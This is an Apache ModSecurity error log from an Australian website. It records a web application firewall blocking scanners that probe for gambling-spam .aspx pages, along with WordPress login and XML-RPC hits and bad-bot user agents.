[Thu Feb 12 13:38:31.383821 2026] [:error] [pid 8824:tid 8852] [client 51.75.119.75:43884] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aY1nV_GtP-XDMTktFc1IeQAAARA"]
[Thu Feb 12 13:38:34.083471 2026] [:error] [pid 60619:tid 60639] [client 51.75.119.75:43886] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aY1nWkWmS0KSFtjY-wZrPwAAABI"]
[Thu Feb 12 13:38:36.773167 2026] [:error] [pid 50254:tid 50283] [client 51.75.119.75:41954] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aY1nXFXkZ-o2G0C1rDHAtQAAAhg"]
[Thu Feb 12 13:38:39.325490 2026] [:error] [pid 50169:tid 50244] [client 51.75.119.75:41968] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aY1nX7QmA2Sph23KFXCSGAAAAdI"]
[Thu Feb 12 13:38:41.863983 2026] [:error] [pid 3136:tid 3161] [client 51.75.119.75:41978] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aY1nYRiPjM-TIZEnQeFuLAAAAFc"]
[Thu Feb 12 13:38:44.526113 2026] [:error] [pid 50169:tid 50228] [client 51.75.119.75:36880] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aY1nZLQmA2Sph23KFXCSHgAAAcI"]
[Thu Feb 12 13:38:47.343144 2026] [:error] [pid 50168:tid 50205] [client 51.75.119.75:36884] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aY1nZwih-d2Mb0suxEcWuQAAAYY"]
[Thu Feb 12 13:38:49.839014 2026] [:error] [pid 60619:tid 60640] [client 51.75.119.75:36888] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aY1naUWmS0KSFtjY-wZrTgAAABM"]
[Thu Feb 12 13:38:52.406145 2026] [:error] [pid 3188:tid 3193] [client 51.75.119.75:36898] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aY1nbMYMNJKHx_XKcXwNCQAAAIM"]
[Thu Feb 12 13:38:55.025283 2026] [:error] [pid 50169:tid 50230] [client 51.75.119.75:55958] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aY1nb7QmA2Sph23KFXCSKQAAAcQ"]
[Thu Feb 12 13:38:57.486685 2026] [:error] [pid 3188:tid 3192] [client 51.75.119.75:55966] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aY1nccYMNJKHx_XKcXwNDwAAAII"]
[Thu Feb 12 13:38:59.872405 2026] [:error] [pid 3136:tid 3143] [client 51.75.119.75:55978] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aY1ncxiPjM-TIZEnQeFuOQAAAEU"]
[Thu Feb 12 13:39:02.412236 2026] [:error] [pid 60619:tid 60635] [client 51.75.119.75:55994] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aY1ndkWmS0KSFtjY-wZrWwAAAA4"]
[Thu Feb 12 13:39:04.898136 2026] [:error] [pid 50168:tid 50218] [client 51.75.119.75:38774] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aY1neAih-d2Mb0suxEcWxgAAAZM"]
[Thu Feb 12 13:39:07.590793 2026] [:error] [pid 50168:tid 50199] [client 51.75.119.75:38780] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY1newih-d2Mb0suxEcWygAAAYA"]
[Thu Feb 12 13:39:10.261633 2026] [:error] [pid 50169:tid 50244] [client 51.75.119.75:38792] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY1nfrQmA2Sph23KFXCSOAAAAdI"]
[Thu Feb 12 13:39:12.752853 2026] [:error] [pid 3188:tid 3192] [client 51.75.119.75:38794] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aY1ngMYMNJKHx_XKcXwNFwAAAII"]
[Thu Feb 12 13:39:15.241766 2026] [:error] [pid 50254:tid 50269] [client 51.75.119.75:34418] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aY1ng1XkZ-o2G0C1rDHAygAAAgo"]
[Thu Feb 12 13:40:03.484276 2026] [:error] [pid 8824:tid 8828] [client 51.75.119.75:34420] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aY1ns_GtP-XDMTktFc1I9gAAAQI"]
[Thu Feb 12 13:40:05.959385 2026] [:error] [pid 50169:tid 50236] [client 51.75.119.75:39970] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY1ntbQmA2Sph23KFXCSbQAAAco"]
[Thu Feb 12 13:40:08.518160 2026] [:error] [pid 8824:tid 8846] [client 51.75.119.75:39972] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aY1nuPGtP-XDMTktFc1I_AAAAQo"]
[Thu Feb 12 14:34:59.698863 2026] [:error] [pid 3188:tid 3208] [client 54.175.74.27:32339] [client 54.175.74.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.175.74.27, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aY10k8YMNJKHx_XKcXwd3AAAAJI"]
[Thu Feb 12 16:41:28.238469 2026] [:error] [pid 21527:tid 21534] [client 54.37.252.46:38294] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aY2SOCaer9JPUXlMLuGo_AAAAAU"]
[Thu Feb 12 16:41:38.204410 2026] [:error] [pid 21431:tid 21443] [client 54.37.252.46:57830] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aY2SQpgxKQsNF5X8gtR5UwAAAMc"]
[Thu Feb 12 16:41:41.285015 2026] [:error] [pid 21431:tid 21452] [client 54.37.252.46:57850] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aY2SRZgxKQsNF5X8gtR5VwAAANA"]
[Thu Feb 12 16:41:44.016840 2026] [:error] [pid 39777:tid 39783] [client 54.37.252.46:52864] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aY2SSFzexR6hGUkt5pPGGgAAAEQ"]
[Thu Feb 12 16:41:47.413290 2026] [:error] [pid 39777:tid 39791] [client 54.37.252.46:52880] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY2SS1zexR6hGUkt5pPGHQAAAEw"]
[Thu Feb 12 16:41:50.270857 2026] [:error] [pid 21433:tid 21473] [client 54.37.252.46:52904] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY2STtc_9AdG3uAKpzveGQAAAYM"]
[Thu Feb 12 16:41:53.213482 2026] [:error] [pid 21431:tid 21456] [client 54.37.252.46:52916] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aY2SUZgxKQsNF5X8gtR5bgAAANQ"]
[Thu Feb 12 16:41:56.411532 2026] [:error] [pid 21433:tid 21487] [client 54.37.252.46:37924] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aY2SVNc_9AdG3uAKpzveMgAAAZE"]
[Thu Feb 12 16:41:59.619751 2026] [:error] [pid 21433:tid 21479] [client 54.37.252.46:37942] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aY2SV9c_9AdG3uAKpzvePQAAAYk"]
[Thu Feb 12 16:42:02.634848 2026] [:error] [pid 21431:tid 21450] [client 54.37.252.46:37954] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aY2SWpgxKQsNF5X8gtR5kAAAAM4"]
[Thu Feb 12 16:42:05.878927 2026] [:error] [pid 39777:tid 39780] [client 54.37.252.46:52718] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aY2SXVzexR6hGUkt5pPGMQAAAEE"]
[Thu Feb 12 16:42:08.688227 2026] [:error] [pid 21433:tid 21488] [client 54.37.252.46:52732] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aY2SYNc_9AdG3uAKpzveUAAAAZI"]
[Thu Feb 12 16:42:12.016224 2026] [:error] [pid 21434:tid 21497] [client 54.37.252.46:52754] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aY2SZAbL1v6OC5G-tE-JVgAAAcA"]
[Thu Feb 12 16:42:15.275366 2026] [:error] [pid 39777:tid 39782] [client 54.37.252.46:53884] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aY2SZ1zexR6hGUkt5pPGQgAAAEM"]
[Thu Feb 12 16:42:18.203937 2026] [:error] [pid 39777:tid 39797] [client 54.37.252.46:53904] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aY2SalzexR6hGUkt5pPGRQAAAFI"]
[Thu Feb 12 16:42:20.802038 2026] [:error] [pid 21527:tid 21538] [client 54.37.252.46:53920] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aY2SbCaer9JPUXlMLuGpkQAAAAk"]
[Thu Feb 12 16:42:23.633272 2026] [:error] [pid 39777:tid 39800] [client 54.37.252.46:38050] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aY2Sb1zexR6hGUkt5pPGSgAAAFU"]
[Thu Feb 12 16:42:57.712131 2026] [:error] [pid 21434:tid 21502] [client 54.37.252.46:38052] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aY2SkQbL1v6OC5G-tE-JqgAAAcU"]
[Thu Feb 12 16:43:00.507195 2026] [:error] [pid 21434:tid 21500] [client 54.37.252.46:54176] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aY2SlAbL1v6OC5G-tE-JrQAAAcM"]
[Thu Feb 12 16:43:03.349771 2026] [:error] [pid 21527:tid 21550] [client 54.37.252.46:35532] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aY2Slyaer9JPUXlMLuGp-gAAABU"]
[Thu Feb 12 16:43:06.057804 2026] [:error] [pid 21431:tid 21438] [client 54.37.252.46:35542] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aY2SmpgxKQsNF5X8gtR59QAAAMI"]
[Thu Feb 12 16:43:08.667086 2026] [:error] [pid 21434:tid 21512] [client 54.37.252.46:35566] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY2SnAbL1v6OC5G-tE-JwQAAAc8"]
[Thu Feb 12 16:43:11.337361 2026] [:error] [pid 39777:tid 39791] [client 54.37.252.46:35570] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aY2Sn1zexR6hGUkt5pPGlwAAAEw"]
[Thu Feb 12 16:43:13.781902 2026] [:error] [pid 21433:tid 21483] [client 54.37.252.46:34626] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aY2Sodc_9AdG3uAKpzvewAAAAY0"]
[Fri Feb 13 00:34:00.377293 2026] [:error] [pid 37511:tid 37582] [client 64.89.163.24:55121] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY4A-O8EBJ86uZdxpA1pTAAAAEI"]
[Fri Feb 13 00:34:02.647344 2026] [:error] [pid 37511:tid 37591] [client 64.89.163.24:60630] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY4A-u8EBJ86uZdxpA1pmAAAAEo"]
[Fri Feb 13 00:34:05.151253 2026] [:error] [pid 37511:tid 37592] [client 64.89.163.24:53658] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY4A_e8EBJ86uZdxpA1p3QAAAEs"]
[Fri Feb 13 00:34:07.792073 2026] [:error] [pid 23410:tid 23436] [client 64.89.163.24:63470] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY4A_xXZP6NFBacuW_0F7AAAAJg"]
[Fri Feb 13 00:34:10.147663 2026] [:error] [pid 37856:tid 37869] [client 64.89.163.24:49577] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY4BApUcWP4qWM7hWsnwDAAAAMo"]
[Fri Feb 13 03:21:53.122286 2026] [:error] [pid 45130:tid 45203] [client 37.19.211.25:57718] [client 37.19.211.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.19.211.25, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY4oUQExoOw92CvaDUgNdAAAAFU"], referer: https://vetstars.com.au/
[Fri Feb 13 04:15:31.796330 2026] [:error] [pid 49224:tid 49287] [client 43.130.150.80:48990] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY4049iAvPoWmw5YhwlqbQAAAFQ"]
[Fri Feb 13 07:42:37.846050 2026] [:error] [pid 49335:tid 49347] [client 217.216.74.224:60289] [client 217.216.74.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY5lbap--SFY2nwOiqmFyAAAAMo"]
[Fri Feb 13 07:42:39.535680 2026] [:error] [pid 49223:tid 49251] [client 217.216.74.224:64713] [client 217.216.74.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aY5lbx8A_fZBamNLnfVn6gAAABM"]
